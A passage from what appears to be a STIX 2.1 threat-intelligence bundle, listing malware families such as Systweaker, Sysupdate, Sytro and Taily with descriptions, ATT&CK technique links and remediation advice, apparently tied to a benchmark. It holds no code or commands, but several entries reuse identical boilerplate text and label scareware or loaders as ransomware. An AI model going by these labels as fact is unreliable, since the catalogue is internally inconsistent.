      "id": "relationship--ae7c40ee-e257-52a5-b24d-50fa55b0d035",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d15da83-1f19-5f2e-ac91-ce8a1ffd6ecc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweak exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--42b09e17-cb0d-5be7-b65b-3f2031584578",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Systweaker",
      "description": "<h3>Executive Summary</h3>\nSysTweaker is a deceptive Potentially Unwanted Program (PUP) that operates as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial or completely fabricated system \"scans\" to generate alarming false-positive reports about registry errors or impending hard drive failures. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix the non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSysTweaker relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming pop-up ads claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where SysTweaker is installed silently in the background.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports hundreds of \"critical errors,\" creating a false sense of urgency and impending system failure.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants of SysTweaker may employ locking tactics. They may disable the Task Manager or constantly overlay the screen with warnings, effectively holding the system hostage until the user pays the ransom (buys the \"license\").</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that even if the user closes the application, it repeatedly re-launches and interrupts workflow with purchase prompts.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, SysTweaker poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.SysTweaker",
        "PUP.SysTweaker",
        "FakeOptimizer.SysTweaker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Systweaker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/systweaker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e66ba664-980d-5127-b350-ce383844a349",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42b09e17-cb0d-5be7-b65b-3f2031584578",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweaker exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdce62a2-25fb-5831-93fc-e0dda685dde0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42b09e17-cb0d-5be7-b65b-3f2031584578",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweaker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82b10b01-527f-5137-8a0d-981bbad9dc41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42b09e17-cb0d-5be7-b65b-3f2031584578",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Systweaker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1dbb13ad-d7a5-54bb-9190-5275b5678ed1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sysupdate",
      "description": "Trojan:Win32/Sysupdate is a highly deceptive malware family that relies heavily on social engineering, specifically the technique of **Masquerading**. As the name implies, it disguises itself as a critical Windows operating system update, an Adobe Flash update, or a Java patch. Its goal is to trick the user into granting it administrative execution privileges, bypassing User Account Control (UAC) through sheer deception rather than exploiting a technical vulnerability.<br><br><b>Understanding Sysupdate</b><br>To an end-user, Sysupdate appears as a convincing, seemingly urgent pop-up window or a web page warning that 'Your system is out of date' or 'Critical Security Patch Required'. Because users have been conditioned for years to install updates, they often click 'Run' without verifying the source. For a security analyst, Sysupdate represents a failure of user awareness training and a reliance on endpoint defenses to catch the payload *after* the user has authorized it to run.<br><br><b>Execution and Masquerading Mechanics</b><br>Sysupdate is typically encountered during web browsing on compromised sites (drive-by downloads) or via malvertising (`T1189`). The initial payload is often an executable named `update.exe`, `winsys_patch.exe`, or `flash_installer.exe` (`T1036.005`). Crucially, these files are often given legitimate-looking icons (like the Windows shield or Adobe logo) and may even be signed with stolen, revoked, or spoofed digital certificates to appear authentic (`T1036.001`). When the user runs the file, the UAC prompt appears, asking the user to grant administrative privileges (`T1204.002`). Once the user clicks 'Yes', the malware executes with high privileges, establishes persistence in the Registry, and proceeds to download its true payload (often an infostealer, botnet agent, or ransomware).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the secondary payload it downloads. Host-based IoCs include the presence of executables with generic names (like `update.exe`) running from non-standard locations (like `%Temp%` or `%AppData%` instead of `C:\\Windows\\System32`). EDR telemetry will show these fake update processes spawning suspicious child processes (like `cmd.exe` or PowerShell) or making unauthorized network connections. Network IoCs include DNS requests to known malware distribution domains disguised as update servers. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sysupdate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sysupdate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab1a094d-92ba-5cf4-9223-e4ea4a790204",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dbb13ad-d7a5-54bb-9190-5275b5678ed1",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysupdate exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32deea22-03a2-5daa-8f54-946463dcff15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dbb13ad-d7a5-54bb-9190-5275b5678ed1",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysupdate exhibits technique T1204.002 (User Execution: Malicious File (Tricking the user to run the fake update))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5c2adb2-1f67-5346-97bd-c90aaf0566b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dbb13ad-d7a5-54bb-9190-5275b5678ed1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysupdate exhibits technique T1189 (Drive-by Compromise (Malvertising delivery))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f56c847d-008d-51e8-bd41-e10d19be0c41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dbb13ad-d7a5-54bb-9190-5275b5678ed1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sysupdate exhibits technique T1105 (Ingress Tool Transfer (Downloading the actual payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--45458c09-744b-5534-beb3-90a964ee51b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sytro",
      "description": "Sytro (cataloged in antivirus encyclopedias as Worm:Win32/Sytro, P2P-Worm.Win32.Sytro, and Trojan:Win32/Sytro) is a peer-to-peer (P2P) network worm and downloader discovered in the mid-2000s. Engineered to exploit popular file-sharing applications of the era (such as Kazaa, eMule, BearShare, LimeWire, and Shareaza), Sytro copies its executable binary into shared download folders under hundreds of deceptive names masquerading as popular software cracks, game patches, media codecs, or key generators. When an unsuspecting user downloads and launches the file, Sytro installs itself into the Windows System directory, modifies system startup configurations via the registry, and periodically contacts remote servers to download secondary trojans and adware components. The worm also scans local network shares and external drives, attempting lateral propagation and degrading overall network performance through aggressive automated file replication. (Observed samples in benchmark: 273)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Sytro",
        "P2P-Worm.Win32.Sytro",
        "Trojan:Win32/Sytro",
        "Win32/Sytro.A",
        "Worm.Sytro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sytro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sytro"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa876c44-d162-523a-89cc-fad5311d7812",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45458c09-744b-5534-beb3-90a964ee51b1",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sytro exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f2174d4-c588-5943-afdf-cc74f288b1b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45458c09-744b-5534-beb3-90a964ee51b1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sytro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90d302e3-ddb4-5d57-a084-7c7e378c462f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45458c09-744b-5534-beb3-90a964ee51b1",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sytro exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--702d6e23-a954-52bf-bf5b-2008d0031c37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45458c09-744b-5534-beb3-90a964ee51b1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sytro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4bbd3e7a-4c3d-524a-9a04-4862e7234013",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45458c09-744b-5534-beb3-90a964ee51b1",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sytro exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0f960f4-4b27-5f25-b58b-8e13bf14507d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sz4Aaw",
      "description": "<h3>Executive Summary</h3>\n\"Sz4aaw\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Sz4aaw\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an alert for this identifier is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Sz4aaw",
        "Heur.Sz4aaw"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sz4Aaw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sz4aaw"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50a1f3b7-80b0-5788-b984-64a2d6f5aabc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0f960f4-4b27-5f25-b58b-8e13bf14507d",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sz4Aaw exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1f99685-2e23-541c-a8f6-90de58bc6681",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0f960f4-4b27-5f25-b58b-8e13bf14507d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sz4Aaw exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd62c9b7-8573-5ac4-a3e4-f006cfe6236b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0f960f4-4b27-5f25-b58b-8e13bf14507d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sz4Aaw exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f75d9b2e-5791-53c3-a505-39d98938b756",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taily",
      "description": "Trojan:Win32/Taily is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Taily</b><br>To an end-user, a Taily infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Taily is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Taily is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Taily frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Taily reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taily",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taily"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbe3a619-1b78-5ce7-857f-b617a2ffe4bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f75d9b2e-5791-53c3-a505-39d98938b756",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taily exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f86694b-84ba-510e-bb58-35671ece6462",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f75d9b2e-5791-53c3-a505-39d98938b756",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taily exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43281afb-49ab-54fc-a75e-afdce4a61950",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f75d9b2e-5791-53c3-a505-39d98938b756",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taily exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09e69190-4f76-538e-aae3-4b5efe0453e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f75d9b2e-5791-53c3-a505-39d98938b756",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taily exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abc6b025-3898-5d6e-8a33-28223172298c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f75d9b2e-5791-53c3-a505-39d98938b756",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taily exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eda5240f-fe0e-56fb-86f1-ac32c4ae4895",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tainp",
      "description": "Trojan:Win32/Tainp is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tainp</b><br>To an end-user, a Tainp infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tainp is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tainp is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tainp frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tainp reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tainp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tainp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f704783-8f50-535b-bc72-7db1b07556ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda5240f-fe0e-56fb-86f1-ac32c4ae4895",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tainp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4d0a7d6-cec9-512a-b78e-28c1fbcbf985",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda5240f-fe0e-56fb-86f1-ac32c4ae4895",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tainp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ded5792-67c8-57bb-9845-ecfb5e6c8ee3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda5240f-fe0e-56fb-86f1-ac32c4ae4895",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tainp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b110446-3f27-578a-b36b-6552e3ee6e5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda5240f-fe0e-56fb-86f1-ac32c4ae4895",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tainp exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41e68958-ced7-560d-aa09-d87d7e6ee023",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda5240f-fe0e-56fb-86f1-ac32c4ae4895",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tainp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db5ef0d9-069e-543b-9d81-275f83e3f093",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Takbum",
      "description": "Trojan:Win32/Takbum is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Takbum</b><br>To an end-user, a Takbum infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Takbum is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Takbum is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Takbum frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Takbum reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute 